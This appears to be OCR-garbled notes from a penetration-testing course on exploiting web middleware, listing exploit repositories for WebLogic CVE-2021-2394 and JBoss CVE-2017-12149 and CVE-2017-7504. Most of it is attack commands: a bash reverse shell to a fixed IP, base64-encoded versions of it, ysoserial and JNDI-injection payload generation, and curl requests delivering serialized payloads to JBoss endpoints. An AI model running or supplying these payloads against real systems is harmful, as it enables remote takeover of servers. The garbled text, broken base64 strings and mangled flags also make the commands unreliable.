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IIS, Apache, Nginx, Tomcat, Docker, Weblogic, JBoos, WebSphere,
Jenkins , GlassFish, Jira, Struts2, Laravel, Solr, Shiro, Thinkphp,
Spring, Flask, jQuery %5

1. H[Eff-weblogic %4

2. HEff-JBoos %4

2. HafF-Jenkins %4

3. HEff-GlassFish %4
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https://github.com/1z2y/CVE-2021-2394
https://github.com/welkln/JNDI-Injection-Exploit
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4f%: bash -i >& /dev/tcp/47.94.236.117/5566 0>&l

#AT: java -jar INDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C
"bash -c

{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMz YUMTE3LzU1NS YgMD4mMQ=
=}|{base64,-d} | {bash,-1}" -A 47.94.236.117
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java -jar CVE 2021 2394.jar 123.58.236.76 32185
ldap://47.94.236.117:1389/x1nfdy
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Jboss % KNI 1098, 1099, 4444, 4445, 8080, 8009, 8083, 8093 X
JLA~, Red Hat JBoss Application Server j&—@3&T Javakl HIHIEMNH RS
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1. CVE-2017-12149

java -jar ysoserial-master-30099844c6-1.jar CommonsCollectionsb
"bash -c

{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1IN] YgMD4mMQ=
=}|{base64,-d} | {bash,-i}" > poc.ser

curl http://47.94.236.117:8080/invoker/readonly --data-binary
@poc.ser

2. CVE-2017-7504

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5
"bash -c

{echo, YmFzaCAtaSA+JiAvVZGV2L3RjcC80Ny45NC4yMz YUMTE3LzU1NS YgMD4mMQ=
=} | {base6d4,-d} | {bash,-1}" > 1l.ser

curl http://47.94.236.117:8080/jbossmg-httpil/HTTPServerILServlet

--data-binary @l.ser
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https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

